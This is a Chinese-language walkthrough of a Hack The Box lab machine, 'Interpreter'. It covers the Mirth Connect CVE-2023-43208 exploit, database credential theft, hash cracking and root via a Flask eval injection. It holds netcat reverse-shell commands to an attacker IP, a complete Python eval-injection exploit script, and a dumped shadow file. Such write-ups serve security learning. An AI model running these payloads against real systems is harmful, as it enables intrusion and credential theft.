[Season10] Interpreter WP

Recon

nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
PORT    STATE SERVICE   REASON         VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
80/tcp open http syn-ack ttl 63
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| Cache-Control: must-revalidate,no-cache,no-store
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 458
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1"/>
| <title>Error 404 Not Found</title>
| </head>
| <body><h2>HTTP ERROR 404 Not Found</h2>
| <table>
| <tr><th>URI:</th><td>/nice%20ports%2C/Tri%6Eity.txt%2ebak</td></tr>
| <tr><th>STATUS:</th><td>404</td></tr>
| <tr><th>MESSAGE:</th><td>Not Found</td></tr>
| <tr><th>SERVLET:</th><td>org.eclipse.jetty.servlet.ServletHandler$Default404Servlet-7a56a372</td></tr>
| </table>
| </body>
| </html>
| GetRequest:
| HTTP/1.1 200 OK
| Date: Sat, 21 Feb 2026 19:08:19 GMT
| Last-Modified: Tue, 18 Jul 2023 17:46:18 GMT
| Content-Type: text/html
| Accept-Ranges: bytes
| Content-Length: 2532
| <!doctype html>
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
| <meta http-equiv="x-ua-compatible" content="IE=edge">
| <meta http-equiv="cache-control" content="no-cache">
| <meta http-equiv="cache-control" content="no-store">
| <title>Mirth Connect Administrator</title>
| <link rel="shortcut icon" type="image/x-icon" href="images/NG_MC_Icon_16x16.png" />
| <link rel="stylesheet" type="text/css" href="css/bootstrap.css" />
| <link rel="stylesheet" type="text/css" href="css/main.css" />
| <script type="text/javascript">
| Break out of frame if inside a frame. */
| (window != window.top) {
| window.top.location = window.location;
| </script>
| <script type="text/javascript" sr
| HTTPOptions:
| HTTP/1.1 200 OK
| Date: Sat, 21 Feb 2026 19:08:19 GMT
| Allow: GET, HEAD, TRACE, OPTIONS
| RTSPRequest:
| HTTP/1.1 505 Unknown Version
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 58
| Connection: close
| <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
| X11Probe:
| HTTP/1.1 400 Illegal character CNTL=0x0
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 69
| Connection: close
|_ <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x0</pre>
|_http-favicon: Unknown favicon MD5: 62BE2608829EE4917ACB671EF40D5688
| http-methods:
| Supported Methods: GET HEAD TRACE OPTIONS
|_ Potentially risky methods: TRACE
|_http-title: Mirth Connect Administrator
443/tcp open ssl/https syn-ack ttl 63
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| Cache-Control: must-revalidate,no-cache,no-store
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 458
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1"/>
| <title>Error 404 Not Found</title>
| </head>
| <body><h2>HTTP ERROR 404 Not Found</h2>
| <table>
| <tr><th>URI:</th><td>/nice%20ports%2C/Tri%6Eity.txt%2ebak</td></tr>
| <tr><th>STATUS:</th><td>404</td></tr>
| <tr><th>MESSAGE:</th><td>Not Found</td></tr>
| <tr><th>SERVLET:</th><td>org.eclipse.jetty.servlet.ServletHandler$Default404Servlet-7a56a372</td></tr>
| </table>
| </body>
| </html>
| GetRequest:
| HTTP/1.1 200 OK
| Date: Sat, 21 Feb 2026 19:08:26 GMT
| Last-Modified: Tue, 18 Jul 2023 17:46:18 GMT
| Content-Type: text/html
| Accept-Ranges: bytes
| Content-Length: 2532
| <!doctype html>
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
| <meta http-equiv="x-ua-compatible" content="IE=edge">
| <meta http-equiv="cache-control" content="no-cache">
| <meta http-equiv="cache-control" content="no-store">
| <title>Mirth Connect Administrator</title>
| <link rel="shortcut icon" type="image/x-icon" href="images/NG_MC_Icon_16x16.png" />
| <link rel="stylesheet" type="text/css" href="css/bootstrap.css" />
| <link rel="stylesheet" type="text/css" href="css/main.css" />
| <script type="text/javascript">
| Break out of frame if inside a frame. */
| (window != window.top) {
| window.top.location = window.location;
| </script>
| <script type="text/javascript" sr
| HTTPOptions:
| HTTP/1.1 200 OK
| Date: Sat, 21 Feb 2026 19:08:27 GMT
|_ Allow: GET, HEAD, TRACE, OPTIONS
| http-methods:
| Supported Methods: GET HEAD TRACE OPTIONS
|_ Potentially risky methods: TRACE
|_http-title: Mirth Connect Administrator

Web-Mirth Connect

CVE-2023-43208 RCE

查看应用 Mirth Connect 的版本

1
2
curl -k -H 'X-Requested-With: test' https://$IP:443/api/server/version
4.4.0

利用 jakabakos/CVE-2023-43208-mirth-connect-rce-poc 反弹 shell

1
python3 CVE-2023-43208.py -u "https://$IP" -c 'nc 10.10.16.2 6666 -e /bin/bash'

主机信息收集

conf/mirth.properties 拿到数据库信息

1
2
3
4
5
database = mysql
database.url = jdbc:mariadb://localhost:3306/mc_bdd_prod
# database credentials
database.username = mirthdb
database.password = MirthPass123!

搭建代理

1
2
3
4
5
6
7
./proxy -selfcert
./agent -connect 10.10.16.2:11601 -ignore-cert -retry

session
ifcreate --name ligolo
route_add --name ligolo --route 240.0.0.1/32
start --tun ligolo

连接数据库

1
mysql -u mirthdb -p'MirthPass123!' -h 240.0.0.1 -D mc_bdd_prod

查找用户密码 hash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> select * from PERSON;
+----+----------+-----------+----------+--------------+----------+-------+-------------+-------------+---------------------+--------------------+--------------+------------------+----------------------+------+---------------+----------------+-------------+
| ID | USERNAME | FIRSTNAME | LASTNAME | ORGANIZATION | INDUSTRY | EMAIL | PHONENUMBER | DESCRIPTION | LAST_LOGIN | GRACE_PERIOD_START | STRIKE_COUNT | LAST_STRIKE_TIME | LOGGED_IN | ROLE | COUNTRY | STATETERRITORY | USERCONSENT |
+----+----------+-----------+----------+--------------+----------+-------+-------------+-------------+---------------------+--------------------+--------------+------------------+----------------------+------+---------------+----------------+-------------+
| 2 | sedric | | | | NULL | | | | 2025-09-21 17:56:02 | NULL | 0 | NULL | 0x00 | NULL | United States | NULL | 0 |
+----+----------+-----------+----------+--------------+----------+-------+-------------+-------------+---------------------+--------------------+--------------+------------------+----------------------+------+---------------+----------------+-------------+
1 row in set (0.19 sec)

mysql> select * from PERSON_PASSWORD;
+-----------+----------------------------------------------------------+---------------------+
| PERSON_ID | PASSWORD | PASSWORD_DATE |
+-----------+----------------------------------------------------------+---------------------+
| 2 | u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w== | 2025-09-19 09:22:28 |
+-----------+----------------------------------------------------------+---------------------+
1 row in set (0.19 sec)

我们拿到用户 sedric 的密码哈希 u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==

前 8 字节是 salt 后 32 字节是 hash

1
2
echo "sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=" > hash.txt
hashcat -m 10900 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

爆破得到 snowflake1 用户名为 sedric

1
2
sedric@interpreter:~$ cat user.txt
0f70fa396b1529bc5effc018f7840e5c

提权

查看端口发现有个 54321 端口开着,应该是个 web 应用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
curl 240.0.0.1:54321 -v -H "Host: interpreter.htb"
* Trying 240.0.0.1:54321...
* Connected to 240.0.0.1 (240.0.0.1) port 54321 (#0)
> GET / HTTP/1.1
> Host: interpreter.htb
> User-Agent: curl/7.81.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 404 NOT FOUND
< Server: Werkzeug/2.2.2 Python/3.11.2
< Date: Sat, 21 Feb 2026 21:10:07 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 207
< Connection: close
<
<!doctype html>
<html lang=en>
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
* Closing connection 0

注意到运行的进程中有 root 启动的进程

1
root        3500  0.0  0.8 1055696 34976 ?       Ss   Feb19   0:55 /usr/bin/python3 /usr/local/bin/notif.py

查看 /usr/local/bin/notif.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/env python3
"""
Notification server for added patients.
This server listens for XML messages containing patient information and writes formatted notifications to files in /var/secure-health/patients/.
It is designed to be run locally and only accepts requests with preformated data from MirthConnect running on the same machine.
It takes data interpreted from HL7 to XML by MirthConnect and formats it using a safe templating function.
"""
from flask import Flask, request, abort
import re
import uuid
from datetime import datetime
import xml.etree.ElementTree as ET, os

app = Flask(__name__)
USER_DIR = "/var/secure-health/patients/"; os.makedirs(USER_DIR, exist_ok=True)

def template(first, last, sender, ts, dob, gender):
pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
for s in [first, last, sender, ts, dob, gender]:
if not pattern.fullmatch(s):
return "[INVALID_INPUT]"
# DOB format is DD/MM/YYYY
try:
year_of_birth = int(dob.split('/')[-1])
if year_of_birth < 1900 or year_of_birth > datetime.now().year:
return "[INVALID_DOB]"
except:
return "[INVALID_DOB]"
template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
try:
return eval(f"f'''{template}'''")
except Exception as e:
return f"[EVAL_ERROR] {e}"

@app.route("/addPatient", methods=["POST"])
def receive():
if request.remote_addr != "127.0.0.1":
abort(403)
try:
xml_text = request.data.decode()
xml_root = ET.fromstring(xml_text)
except ET.ParseError:
return "XML ERROR\n", 400
patient = xml_root if xml_root.tag=="patient" else xml_root.find("patient")
if patient is None:
return "No <patient> tag found\n", 400
id = uuid.uuid4().hex
data = {tag: (patient.findtext(tag) or "") for tag in ["firstname","lastname","sender_app","timestamp","birth_date","gender"]}
notification = template(data["firstname"],data["lastname"],data["sender_app"],data["timestamp"],data["birth_date"],data["gender"])
path = os.path.join(USER_DIR,f"{id}.txt")
with open(path,"w") as f:
f.write(notification+"\n")
return notification

if __name__=="__main__":
app.run("127.0.0.1",54321, threaded=True)

应用中执行了 eval,可以利用这个实现 rce

exp 反弹 shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

TARGET = "http://240.0.0.1:54321/addPatient"

cmd = "nc 10.10.16.2 6666 -e /bin/bash".encode().hex()
rce_payload = "{" + f"__import__('os').system(bytes.fromhex('{cmd}').decode())" + "}"

xml_data = f"""<patient>
<firstname><![CDATA[{rce_payload}]]></firstname>
<lastname>Hacker</lastname>
<sender_app>Mirth</sender_app>
<timestamp>2026</timestamp>
<birth_date>01/01/2000</birth_date>
<gender>M</gender>
</patient>"""

try:
print(f"[*] 发送 Payload 到 {TARGET}...")
r = requests.post(TARGET, data=xml_data, timeout=5)
print(f"[+] 状态码: {r.status_code}")
print(f"[+] 服务器返回: {r.text}")
except Exception as e:
print(f"[*] 请求结束,请检查你的 nc 监听器。")

root flag

1
2
cat root.txt
6fd2f58175f647374fb4b2b681b79af1

Hash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
root:$y$j9T$o.VVihLzQteSMxpHLdRkO.$ye7gwugB75H18vxlZ9Yp8uak36M3opreZHoWrWOJto7:20307:0:99999:7:::
daemon:*:20307:0:99999:7:::
bin:*:20307:0:99999:7:::
sys:*:20307:0:99999:7:::
sync:*:20307:0:99999:7:::
games:*:20307:0:99999:7:::
man:*:20307:0:99999:7:::
lp:*:20307:0:99999:7:::
mail:*:20307:0:99999:7:::
news:*:20307:0:99999:7:::
uucp:*:20307:0:99999:7:::
proxy:*:20307:0:99999:7:::
www-data:*:20307:0:99999:7:::
backup:*:20307:0:99999:7:::
list:*:20307:0:99999:7:::
irc:*:20307:0:99999:7:::
_apt:*:20307:0:99999:7:::
nobody:*:20307:0:99999:7:::
systemd-network:!*:20307::::::
systemd-timesync:!*:20307::::::
messagebus:!:20307::::::
avahi-autoipd:!:20307::::::
sshd:!:20307::::::
sedric:$y$j9T$MMATL11rB9egotaJXLTma0$VZ43M7Rr6.Ls7g8gZwoPCRWIXi6Wjv8j/d8iublq1nB:20495:0:99999:7:::
mirth:!:20311::::::
mysql:!:20350::::::
_laurel:!:20496::::::